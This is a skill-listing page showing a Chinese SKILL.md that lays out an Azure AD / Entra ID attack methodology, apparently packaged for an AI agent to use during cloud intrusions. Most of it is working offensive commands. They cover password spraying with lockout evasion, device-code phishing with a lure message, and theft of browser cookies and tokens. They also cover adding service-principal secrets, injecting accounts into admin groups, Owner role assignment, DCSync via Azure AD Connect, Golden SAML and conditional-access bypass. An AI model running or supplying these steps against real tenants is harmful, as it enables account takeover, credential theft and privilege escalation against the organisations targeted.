Skip to main content

azure-ad-attack

Azure AD / Entra ID 攻击方法论。当目标使用 Microsoft 365/Azure 云环境、发现 Azure AD 认证流程、或获取到 Azure 凭据时使用。覆盖初始访问(Password Spray/Phishing)、令牌窃取、Service Principal 滥用、条件访问绕过、跨租户攻击

소스 정보

저장소
wgpsec/AboutSecurity
최근 소스 활동
2026년 10월 15일 05:22
감지된 SKILL.md 언어
중국어
스타
1,790
포크
248

설치 방법

기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.

소스 파일 검토

설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.

파일 탐색기
3 개 파일

SKILL.md 표시 중

SKILL.md
소스 지침 · 읽기 전용 미리보기
name
azure-ad-attack
description
Azure AD / Entra ID 攻击方法论。当目标使用 Microsoft 365/Azure 云环境、发现 Azure AD 认证流程、或获取到 Azure 凭据时使用。覆盖初始访问(Password Spray/Phishing)、令牌窃取、Service Principal 滥用、条件访问绕过、跨租户攻击
metadata
{"tags":"azure,entra,aad,microsoft365,token,service-principal,conditional-access,云攻击,Azure AD","category":"cloud","mitre_attack":"T1078.004,T1528,T1550.001,T1098.001"}
# Azure AD / Entra ID 攻击方法论 > **定位**:从攻击者视角利用 Azure AD 的信任关系、令牌机制和配置缺陷实现横向移动和权限提升 ## ⛔ 深入参考 - Token 窃取与刷新攻击详细流程 → [references/token-attacks.md](references/token-attacks.md) - Service Principal 与应用注册滥用 → [references/app-abuse.md](references/app-abuse.md) --- ## Phase 1: 初始访问 ### 1.1 Password Spray(Azure AD) ```bash # MSOLSpray — Azure AD 密码喷洒 python3 MSOLSpray.py --userlist users.txt --password 'Spring2024!' \ --url https://login.microsoftonline.com # Ruler — Exchange/O365 密码喷洒 ruler --domain target.com brute --users users.txt --passwords pass.txt # Trevorspray — 分布式喷洒(绕过 Smart Lockout) trevorspray --users users.txt --passwords passwords.txt \ --url https://login.microsoftonline.com \ --delay 30 --jitter 10 # ⛔ Azure AD Smart Lockout: 默认 10 次失败/60s # 策略: 每用户 1-2 次尝试,间隔 > 60s,使用不同 IP ``` ### 1.2 Phishing(Device Code / Consent Grant) ```bash # Device Code Phishing — 不需要目标输入密码 # 1. 获取 device code curl -X POST https://login.microsoftonline.com/common/oauth2/devicecode \ -d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&resource=https://graph.microsoft.com" # 2. 发送 device code 给目标(通过钓鱼邮件) # "请访问 https://microsoft.com/devicelogin 并输入代码: XXXXXXXXX" # 3. 目标输入代码后,攻击者获取令牌 curl -X POST https://login.microsoftonline.com/common/oauth2/token \ -d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&code=DEVICE_CODE" ``` ### 1.3 Token 提取(已控主机) ```bash # 从浏览器提取 Azure AD Cookie/Token # Chrome: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Cookies # Edge: %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cookies # 从 TokenCache 提取 # Windows: %LOCALAPPDATA%\.IdentityService\msal.cache # macOS: ~/Library/Group Containers/*.Office/MicrosoftRegistrationDB.reg # 使用 AADInternals Import-Module AADInternals Get-AADIntAccessTokenForMSGraph # 获取 Graph API token ``` ## Phase 2: 枚举与信息收集 ```bash # AzureHound — BloodHound 的 Azure 版本 azurehound list -u user@target.com -p 'password' --tenant target.onmicrosoft.com -o output.json # ROADtools — Azure AD 完整枚举 roadrecon auth -u user@target.com -p 'password' roadrecon gather roadrecon gui # Web UI 浏览结果 # Microsoft Graph API 枚举 # 用户列表 curl -H "Authorization: Bearer $TOKEN" \ "https://graph.microsoft.com/v1.0/users?\$select=displayName,userPrincipalName,accountEnabled" # 组成员 curl -H "Authorization: Bearer $TOKEN" \ "https://graph.microsoft.com/v1.0/groups?\$filter=displayName eq 'Global Admins'&\$expand=members" # 应用注册 curl -H "Authorization: Bearer $TOKEN" \ "https://graph.microsoft.com/v1.0/applications" # Service Principals curl -H "Authorization: Bearer $TOKEN" \ "https://graph.microsoft.com/v1.0/servicePrincipals" ``` ## Phase 3: 权限提升 ### 3.1 Service Principal 密钥添加 ```bash # 如果有权限给 Application 添加凭据 # Application.ReadWrite.All 或 Application 的 Owner # 前置:先确认自己是不是这个 App 的 Owner Get-MgApplicationOwner -ApplicationId <application-object-id> # 添加 Password Credential curl -X POST -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ "https://graph.microsoft.com/v1.0/applications/{app-id}/addPassword" \ -d '{"passwordCredential":{"displayName":"backup"}}' # PowerShell cmdlet 形态(返回值里的 SecretText 只回显一次,不记就没了) Add-MgApplicationPassword -ApplicationId <application-object-id> ` -PasswordCredential @{ displayName = "backup" } # 等价的服务主体形态 Add-MgServicePrincipalPassword -ServicePrincipalId <sp-object-id> ` -PasswordCredential @{ displayName = "backup" } # 使用新密码以 Service Principal 身份登录 curl -X POST "https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token" \ -d "client_id={app-id}&client_secret={new-secret}&scope=https://graph.microsoft.com/.default&grant_type=client_credentials" # 收尾:用完把加的凭据删掉(失败重试时最容易留下一堆 backup-cred) Remove-MgApplicationPassword -ApplicationId <application-object-id> -KeyId <key-id> ``` ### 3.2 组成员注入 组本身没权限不要紧 —— 看它挂的是哪个目录角色。 ```bash # 看 group 的 Owner:Owner 可改成员,是最省事的入口 curl -s -H "Authorization: Bearer $TOKEN" \ "https://graph.microsoft.com/beta/groups/<group-id>/owners" # 把自己或控制的账号塞进高权限组 New-MgGroupMember -GroupId <group-id> -DirectoryObjectId <把自己/受控对象的 object-id> # Azure 侧同一套思路:改 RBAC 分配(需要 Microsoft.Authorization/roleAssignments/write) az role assignment create --assignee <object-id> --role Owner \ --scope /subscriptions/<subscription-id> ``` 回收:`Remove-MgGroupMember -GroupId <gid> -DirectoryObjectId <oid>`;RBAC 用 `az role assignment delete`。3.1 与本节都会在 Entra ID 审计日志里留下 `Add member to group` / `Add service principal credentials` 记录,这条清不掉。 ### 3.3 Consent Grant 攻击 ```bash # 创建恶意应用 → 诱骗管理员授予高权限 # 如果有 Application Administrator 角色: # 直接给应用授予 admin consent # 检查已有高权限应用 curl -H "Authorization: Bearer $TOKEN" \ "https://graph.microsoft.com/v1.0/oauth2PermissionGrants?\$filter=consentType eq 'AllPrincipals'" ``` ### 3.4 PIM (Privileged Identity Management) 激活 ```bash # 如果用户有 eligible 角色但未激活 # 使用 AADInternals 或 Graph API 激活 # 列出可激活的角色 curl -H "Authorization: Bearer $TOKEN" \ "https://graph.microsoft.com/beta/roleManagement/directory/roleEligibilityScheduleRequests" ``` ## Phase 4: 横向移动 ### Azure → On-Premises ``` Azure AD Connect 同步账户: ├─ MSOL_<installationID> — 拥有域中 DCSync 权限 ├─ 获取 Azure AD Connect 配置数据库中的凭据 ├─ 使用 AADInternals: Get-AADIntSyncCredentials └─ 用该凭据 DCSync 整个域 Pass-the-PRT (Primary Refresh Token): ├─ 从已 Azure AD Join 的设备提取 PRT ├─ 使用 PRT 访问所有 Azure AD SSO 资源 ├─ 工具: ROADtoken, RequestAADRefreshToken └─ 可绕过条件访问策略(已信任设备) ``` ### On-Premises → Azure ``` 如果拥有 On-Prem 的 Azure AD Connect 服务器: ├─ 提取 MSOL 凭据 → 可修改任何 synced 用户的密码 ├─ 通过 ADSync 数据库获取云管理员密码 └─ Golden SAML: 控制 AD FS → 伪造任何用户的 SAML token ``` ## Phase 5: 条件访问绕过 ``` 常见绕过方式: ├─ Device Code 流程 — 某些策略不覆盖 device flow ├─ Legacy Authentication — 旧协议可能不受 CA 限制 ├─ 不同 Client ID — 使用非浏览器客户端(Azure CLI/PowerShell) ├─ Trusted Location 滥用 — 如果从已信任 IP 访问 └─ 合规设备伪造 — PRT 中的设备声明 ``` ## 工具速查 | 工具 | 用途 | |------|------| | AzureHound | Azure AD 攻击路径发现 | | ROADtools | 完整 Azure AD 枚举 | | AADInternals | Azure AD 利用框架 | | TokenTactics | Token 操作与刷新 | | MSOLSpray | 密码喷洒 | | GraphRunner | Graph API 交互 | | Trevorspray | 分布式喷洒 |
GitHub에서 보기